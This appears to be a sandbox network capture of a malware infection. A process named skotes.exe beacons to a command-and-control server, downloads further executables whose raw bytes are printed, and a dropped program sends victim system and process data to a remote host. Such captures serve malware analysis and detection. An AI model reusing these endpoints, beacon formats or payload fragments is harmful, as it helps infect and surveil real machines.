Dec 21, 2024 10:15:17.262892962 CET	1236	IN	Data Raw: 83 25 84 e9 41 00 00 c3 83 25 84 e9 41 00 00 68 60 a6 41 00 68 c4 a5 41 00 ff 15 68 a1 41 00 50 ff 15 6c a1 41 00 85 c0 74 11 68 88 e9 41 00 ff d0 c7 05 84 e9 41 00 01 00 00 00 c3 56 8b 74 24 08 85 f6 75 05 33 c0 40 5e c3 e8 3f ff ff ff 83 f8 09 Data Ascii: %A%Ah`AhAhAPlAthAAVt$u3@^?uuu@;t3^US3EPSSSSSSh j jEP]]]]]]]EAtEPuSAuAE[UEVpEtKQ;SW}=3~'4<
Dec 21, 2024 10:15:17.263034105 CET	1236	IN	Data Raw: 5e c2 04 00 53 56 8b f1 8b 06 33 db 57 8b 7c 24 10 89 5e 04 88 18 38 1f 74 07 43 80 3c 3b 00 75 f9 53 e8 33 fc ff ff 8b 06 8a 0f 88 08 40 47 84 c9 75 f6 5f 89 5e 04 8b c6 5e 5b c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 25 83 66 04 00 8b 06 c6 00 Data Ascii: ^SV3W\|$^8tC<;uS3@Gu_^^[VW\|$;t%fw@AuGF_^Vj&NT$FF^SVW\|$38tC<;uSF@Gu^_^[VW\|$wF@A
Dec 21, 2024 10:15:17.263070107 CET	1120	IN	Data Raw: 8d 45 f4 50 e8 46 fd ff ff 83 c4 0c 80 7d 10 00 5f 5e ff 75 f4 75 14 ff 35 80 e0 41 00 6a 0b 6a 00 e8 61 65 00 00 83 c4 10 eb 0c 6a 20 6a 00 e8 53 65 00 00 83 c4 0c ff 75 f4 e8 ac 61 01 00 ff 75 e8 e8 a4 61 01 00 59 32 c0 59 c9 c3 55 8b ec 83 ec Data Ascii: EPF}_^uu5Ajjaej jSeuauaY2YU4VWME0>fS^f~Ff=xufS1Y\|[PMMjEPEPPMu&aYEPMkuauaYYKFf=X
Dec 21, 2024 10:15:17.263108969 CET	1236	IN	Data Raw: ff 75 d0 ff 75 cc 68 04 08 00 50 68 84 a5 41 00 68 94 a6 41 00 53 ff 15 a0 a2 41 00 8b f8 3b fb 0f 84 7b ff ff ff 56 ff 15 b4 a2 41 00 8b 35 b8 a2 41 00 53 6a 22 68 59 04 00 00 57 ff d6 6a 0f ff 15 cc a2 41 00 50 53 68 43 04 00 00 57 ff d6 b8 e9 Data Ascii: uuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj
Dec 21, 2024 10:15:17.382659912 CET	1236	IN	Data Raw: 01 eb 2b ff 75 10 ff 75 fc eb 06 ff 75 10 ff 75 f8 57 e8 5c f6 ff ff 83 c4 0c 8d 4d a4 8a d8 e8 b9 ef ff ff ff 75 e0 e8 8b 58 01 00 8a c3 59 5f 5e 5b c9 c3 55 8b ec 83 ec 18 53 56 57 8b 7d 08 57 ff 15 f4 a0 41 00 57 8d 4d e8 8b d8 89 45 fc e8 5f Data Ascii: +uuuuW\MuXY_^[USVW}WAWME_39uVMD_f=\}tf=/uft_K]"wf=/tf=\tNf$wWYtEPAWAuEPWYYt3WYuWjj_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49806	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:26.837852001 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019251001&unit=246122658369
Dec 21, 2024 10:15:28.148884058 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:28.273273945 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:29.601778030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:29 GMT Content-Type: application/octet-stream Content-Length: 4490240 Last-Modified: Sat, 21 Dec 2024 07:47:25 GMT Connection: keep-alive ETag: "6766728d-448400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 b0 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c9 00 00 04 00 00 1d 15 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 99 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 99 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@E@ _pts`tT PtL(@.rsrc`t\(@.idata pt^(@ 9t`(@ibyjowhjb(@mvafozls^D@.taggant0"bD@
Dec 21, 2024 10:15:29.601840973 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:29.601880074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:29.601959944 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:29.601993084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:15:29.602029085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ;'Bz{MAn.{Q
Dec 21, 2024 10:15:29.602065086 CET	1236	IN	Data Raw: b7 c5 0c a1 09 94 2e 62 c1 01 d7 13 e3 9e e4 ee 52 3d 9d 10 c7 cc e2 96 06 e1 3e af b9 84 fb aa d7 e8 fe 95 8a e4 d7 3f 93 4f 1d 65 16 2e 8a 49 30 39 94 45 a2 6d cb f1 4c 09 7c 6a 1b 5b 20 b7 9b 9c 7e ea 5b ee fc 22 a1 6b 90 9c a3 d1 2c c0 b2 2a Data Ascii: .bR=>?Oe.I09EmL\|j[ ~["k,7U\c+M/[c\|{\c+6o'v'\/]^>&&DKfG&/c#o#WenR9eua{+iz6a
Dec 21, 2024 10:15:29.602137089 CET	672	IN	Data Raw: c5 1e d1 4d ef e1 17 82 28 98 a8 1b 33 c9 93 64 b4 b9 c0 0d 8d fc c3 2c 5a 8e 7e dc f1 b3 ff c9 8c 11 77 26 32 f7 31 3f 65 9b 8f 4e e5 03 34 bc 75 80 b9 3a f9 30 04 7e a4 fc 79 e6 ae 99 98 2c 6a fd 03 d4 5b 72 11 bb ae 76 1a b1 65 f1 95 98 24 99 Data Ascii: M(3d,Z~w&21?eN4u:0~y,j[rve$wLQ6J1fNYR(>4\|tjvq1@~& +vQV5Vu\1bf$UNcfVm}.l>='>!
Dec 21, 2024 10:15:29.602191925 CET	1236	IN	Data Raw: 68 1a 81 77 aa 26 6b eb 6f 8a 0e d9 ae 65 65 d8 50 9b 66 0b 54 5f 02 ab a3 5a 2a ad 00 e4 bb b7 5b bf a4 0b 35 c2 de 9f 24 70 98 b6 b7 aa 7f 1e 10 4f 00 75 74 10 d1 86 d9 9c 95 13 ff dc 22 32 56 64 76 1e 12 ac 8c a4 29 98 b5 bb b2 b8 32 f5 18 f8 Data Ascii: hw&koeePfT_Z[5$pOut"2Vdv)2;!5"]7E_5xk[=b\|8d?R?S`^P\|QQ13]Gt\H\|[\|YvkwzrP.~<WW!
Dec 21, 2024 10:15:29.602226019 CET	1236	IN	Data Raw: d4 0c 8b 2c 71 b2 63 e3 27 3c 3f 99 31 f0 83 82 4c 53 8c f1 7d 7e 9e 50 5a f0 62 c1 d7 d4 a2 00 15 02 bc 41 6c f5 a9 34 de 5e e1 49 ee 00 88 2d d2 64 9c f5 6c 8a ff ef 45 79 d7 77 4a 2f ec 2f ea 9d b0 1e 44 c0 27 00 c2 85 1e 5d b2 82 01 5f 25 d3 Data Ascii: ,qc'<?1LS}~PZbAl4^I-dlEywJ//D']_%fwUI?fj{hV%GZz!en8"]Fa/P}# '$B6@Y><~'ka_(g,PIx1q_"
Dec 21, 2024 10:15:29.721808910 CET	1236	IN	Data Raw: 0f 65 95 c7 40 6c 07 1f f1 cd 8a c2 a6 31 0d 8f f8 98 ab 23 55 96 24 55 96 7c 60 9a bd 7b 32 fe 50 fd aa 1e 9d bc 52 cd 76 1e 8c 23 30 f5 ab 75 d5 28 a2 e6 ed 34 34 9d 9c a0 7f 1a 3c 35 64 ac 0b 1a 0b cf a1 da 47 e3 db 0a 3d f2 d8 2f 90 4a e0 46 Data Ascii: e@l1#U$U\|`{2PRv#0u(44<5dG=/JFT*VeRbI;ZwAq;$[nq?:ecUWP9}cd}6#P,&09UGiV&d0em@UwNX:!txy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49837	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:39.247631073 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019252001&unit=246122658369
Dec 21, 2024 10:15:40.586920977 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49844	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:40.711358070 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:42.036602974 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:41 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 21, 2024 10:15:42.036648035 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$
Dec 21, 2024 10:15:42.037939072 CET	1236	IN	Data Raw: e8 d4 80 0b 00 eb c2 66 90 0f b7 51 18 66 81 fa 0b 01 74 37 66 81 fa 0b 02 75 94 83 b9 84 00 00 00 0e 76 8b 8b 91 f8 00 00 00 31 c0 85 d2 0f 95 c0 e9 79 ff ff ff 8d 76 00 c7 04 24 e0 93 4b 00 e8 64 88 0b 00 31 c0 83 c4 1c c3 83 79 74 0e 0f 86 5a Data Ascii: fQft7fuv1yv$Kd1ytZ1Hf,ATD$@T@T@KD$@TD$D$@T$@T,fL$1qUWVUSQx5ATd1x5HVT9
Dec 21, 2024 10:15:42.038546085 CET	1236	IN	Data Raw: 46 0c 85 c0 74 0e 6a 01 50 ff 76 10 e8 64 e3 00 00 83 c4 0c 5e 5d c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 55 89 e5 8b 45 08 8b 08 85 c9 74 0e 6a 01 51 ff 70 04 e8 39 e3 00 00 83 c4 0c 5d c3 0f 1f 40 00 55 89 e5 53 57 56 50 8b 45 08 80 38 03 Data Ascii: FtjPvd^]f.@UEtjQp9]@USWVPE8u7xwtSFtvPSjjW^_[]EFtvPSjjWufDUSWVPAtjPv^0F,Et1E
Dec 21, 2024 10:15:42.038693905 CET	1236	IN	Data Raw: 8c 24 84 00 00 00 89 54 24 30 89 5c 24 28 c7 44 24 08 01 00 00 00 c7 44 24 0c 00 00 00 00 89 44 24 50 8b 84 24 80 00 00 00 29 c6 89 44 24 4c 8d 43 ff 39 d0 89 44 24 48 8b 84 24 8c 00 00 00 8d 52 ff 89 74 24 58 0f 92 44 24 3b 89 54 24 44 89 44 24 Data Ascii: $T$0\$(D$D$D$P$)D$LC9D$H$Rt$XD$;T$DD$ $D$$DD$\1:D\$\|$`3\$\|$0]SuPw\|$t$t$D$D$D\|$ 5t$49r'\$0D$ D$D91
Dec 21, 2024 10:15:42.040271044 CET	1236	IN	Data Raw: e0 3f 09 d0 09 c8 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 75 ab eb 2e c1 e1 06 09 f9 8b 7c 24 04 89 c8 80 7c 24 2c 00 75 97 eb 1a c1 e1 0c 09 ca 89 d0 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 0f 85 7b ff ff ff b9 01 00 00 00 3d 80 00 00 00 72 19 b9 Data Ascii: ?\|$T$$\|$,u.\|$\|$,u\|$T$$\|$,{=r=r=t9s<}uo9D$,ty<@D$@\|$$t$8\|$)T$)9s+SVD$Pqt$\|$D$f.@D$D
Dec 21, 2024 10:15:42.040306091 CET	1236	IN	Data Raw: f6 89 45 f0 74 36 6a 01 56 53 eb 28 89 45 f0 6a 01 68 00 9c 04 00 53 e8 dd d4 00 00 83 c4 0c eb 03 89 45 f0 8b 45 ec 85 ff c6 00 00 74 0e 6a 01 57 ff 75 ec e8 c0 d4 00 00 83 c4 0c ff 75 f0 e8 b5 fc 0a 00 0f 1f 44 00 00 55 89 e5 53 57 56 81 ec 1c Data Ascii: Et6jVS(EjhSEEtjWuuDUSWV(VVP@4f.f1@tjPVGu\GwEjhPjhP@PD
Dec 21, 2024 10:15:42.040339947 CET	1236	IN	Data Raw: 0f 10 8d 48 ff ff ff 89 85 3c fe ff ff f2 0f 11 85 34 fe ff ff f2 0f 11 8d 2c fe ff ff f2 0f 11 95 24 fe ff ff 8b 75 f0 8d 8d 40 fe ff ff e8 42 ed ff ff 83 bd 3c fe ff ff 00 0f 84 24 0c 00 00 e8 d0 33 01 00 89 c7 89 85 34 ff ff ff 6a 0c 68 1c 93 Data Ascii: H<4,$u@B<$34jhPj hP@PDHMPVMQ@tjPVjh\Pj4h(P@P<DHPVEPP@tjPV:E
Dec 21, 2024 10:15:42.040391922 CET	1236	IN	Data Raw: 85 40 fe ff ff c7 85 4c fe ff ff 60 21 40 00 89 85 48 ff ff ff c7 85 4c ff ff ff 02 00 00 00 8d 85 e8 fd ff ff 8d 8d 40 ff ff ff 51 50 e8 0f bb 08 00 83 c4 08 8b 85 e8 fd ff ff 8b bd f0 fd ff ff 89 45 cc 8b 85 ec fd ff ff 89 45 ec 8d 85 f0 fe ff Data Ascii: @L`!@HL@QPEEjhPjyhPPjh!PhhPPjhKPjh-PP}jh}Pj&hWPP`jhPhhPP@jh9Pj!
Dec 21, 2024 10:15:42.040427923 CET	1236	IN	Data Raw: 89 85 58 ff ff ff 8d 85 c0 fe ff ff c7 85 5c ff ff ff 60 21 40 00 89 85 60 ff ff ff 8d 85 40 ff ff ff c7 85 64 ff ff ff 60 21 40 00 89 85 48 fe ff ff c7 85 4c fe ff ff 05 00 00 00 8d 85 b4 fe ff ff 8d 8d 40 fe ff ff 51 50 e8 1e b6 08 00 83 c4 08 Data Ascii: X\`!@`@d`!@HL@QPEtjPu4tjP8EtjPS (EjhPjhPP]uS@P@@
Dec 21, 2024 10:15:42.156579018 CET	1236	IN	Data Raw: c1 00 00 83 c4 0c e8 6e ea ff ff 8b bd fc fd ff ff 8b b5 f8 fd ff ff 85 ff 74 2a 8d 5e 04 eb 0f 66 0f 1f 84 00 00 00 00 00 83 c3 0c 4f 74 16 8b 43 fc 85 c0 74 f3 6a 01 50 ff 33 e8 69 c1 00 00 83 c4 0c eb e4 8b 85 f4 fd ff ff 85 c0 74 12 c1 e0 02 Data Ascii: nt*^fOtCtjP3it@jPVK^_[]jQxPhPQuPCZ3@DPHLhP@P(XhPPjj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49851	185.121.15.192	80	6064	C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:43.628432035 CET	12360	OUT	POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1 Host: home.fivetk5ht.top Accept: / Content-Type: application/json Content-Length: 440701 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 37 32 35 34 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734772541", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 21, 2024 10:15:43.748270988 CET	2472	OUT	Data Raw: 35 66 71 51 76 48 79 48 39 5c 2f 77 44 50 36 5c 2f 35 39 47 31 59 72 39 52 66 2b 43 55 33 5c 2f 41 41 54 33 5c 2f 5a 2b 5c 2f 62 42 38 49 66 47 6a 34 30 66 74 49 61 4a 71 76 78 46 74 76 44 6e 78 65 31 6a 34 51 2b 44 66 42 61 65 4b 76 46 6e 68 54 Data Ascii: 5fqQvHyH9\/wDP6\/59G1Yr9Rf+CU3\/AAT3\/Z+\/bB8IfGj40ftIaJqvxFtvDnxe1j4Q+DfBaeKvFnhTRtCt\/C\/h7w1r+o63JP4O1rQNUvLvVF8WadbQwNqKWdsdNvLia2up79JLb+bPpJfSEl4BZNwpiMBwc+Ns+4wzvFZVlmV1+IP9Vsrw+Hy3Lq2ZZlmGZZ3DJeI8TRjRpxoUMNhsLkeNq4rEYmKlLDUadStH+5voTfQ
Dec 21, 2024 10:15:43.748291969 CET	2472	OUT	Data Raw: 4c 39 52 6e 6d 4a 38 69 62 39 6e 37 33 5c 2f 6e 72 2b 34 48 2b 69 5c 2f 5c 2f 41 4b 75 66 70 54 46 5c 2f 65 62 48 66 79 33 66 5c 2f 41 4a 5a 44 5c 2f 6c 68 37 39 50 66 38 2b 39 50 4b 76 4a 5c 2f 79 32 32 4a 2b 6b 50 62 48 34 2b 33 30 39 36 5a 6e Data Ascii: L9RnmJ8ib9n73\/nr+4H+i\/\/AKufpTF\/ebHfy3f\/AJZD\/lh79Pf8+9PKvJ\/y22J+kPbH4+3096Znc2xPM2eV\/wAs\/wDlsf0\/ye9BvDf5fqiH\/v28n\/br\/n+mD3o\/3JPvy\/vY+fPzT\/k4f\/UP1l5x6\/54o8t5P9c\/EfHH+enp\/nFey8o\/d\/wDUh3GNZtn3\/6\/5+hpnmfL86fP5vlfZ5Jf0\/Wn8\/
Dec 21, 2024 10:15:43.748338938 CET	2472	OUT	Data Raw: 41 48 48 58 68 5c 2f 6d 32 61 65 4b 6e 48 45 63 74 78 65 46 79 65 6d 38 31 77 74 57 6a 6a 73 64 56 78 65 44 77 65 4f 7a 50 4f 38 50 6c 32 4d 77 32 56 51 78 4f 46 77 39 65 44 78 75 4b 65 4f 6c 55 6f 30 63 51 6f 30 70 2b 78 71 58 61 35 4a 4f 50 2b Data Ascii: AHHXh\/m2aeKnHEctxeFyem81wtWjjsdVxeDweOzPO8Pl2Mw2VQxOFw9eDxuKeOlUo0cQo0p+xqXa5JOP+qnhd4j8P5f4JeHs84wlbO6tDIMdCtluDo4LG5hgsp4cxuZZdis2WExeIw9RYPCLL4wq1cM3Vgq1NKL9pFT\/RZPgXLpWmsfDnizS9Wt4SXFv4gjTwlqRUrvkdpbq8vvDUcEI48+68S2ksuNwtIydg5V9K8JaQA3iH
Dec 21, 2024 10:15:43.748348951 CET	2472	OUT	Data Raw: 6c 66 78 5c 2f 66 38 41 42 57 6e 34 59 65 45 50 68 68 5c 2f 77 55 4b 31 47 35 38 46 36 5a 62 36 4a 44 38 57 5c 2f 67 4c 34 61 2b 4b 5c 2f 69 5c 2f 54 37 43 47 4b 30 30 36 36 38 61 33 50 6a 72 78 58 34 4f 31 44 57 49 37 4f 33 53 4f 43 4f 36 31 53 Data Ascii: lfx\/f8ABWn4YeEPhh\/wUK1G58F6Zb6JD8W\/gL4a+K\/i\/T7CGK00668a3PjrxX4O1DWI7O3SOCO61S08KW2p6nOEEt\/rWo6vql00t5qFzNJ+\/H7Hf7Wvxn+Pfjv4geA\/ij8ANe8A2fg7w9ouu2HxMg8KfFvwd4Q1XVdRlhttV+Ht1onxj8AeB9ftfGfhq4ac3smkTeIdDvLe1uZ7e9hiW0lv\/wASv+C1AJ\/b\/wDAO
Dec 21, 2024 10:15:43.748426914 CET	4944	OUT	Data Raw: 38 76 65 2b 7a 35 50 4e 38 33 48 35 66 6e 33 7a 7a 52 4b 72 72 38 37 70 48 44 35 6e 5c 2f 50 54 39 2b 66 38 5c 2f 35 39 36 66 75 65 4b 50 66 35 32 7a 79 35 66 4b 37 2b 66 4e 32 72 51 32 49 65 66 33 4b 52 70 49 2b 5c 2f 31 34 5c 2f 54 5c 2f 77 43 Data Ascii: 8ve+z5PN83H5fn3zzRKrr87pHD5n\/PT9+f8\/596fueKPf52zy5fK7+fN2rQ2Ief3KRpI+\/14\/T\/wCvVbd5Z\/57eXz\/ANMO\/wCf5fripvk8t13+vmx+V5P5f5\/Cj523w9P3v\/PLr+v06VPv\/wB38QIW\/vr5f\/PXy5Jv9V\/06\/59fSjy\/wB3Mn7xEni\/d4\/L\/wDX\/wDrqbb5il9m+GT\/AFXp\/wCAnv0
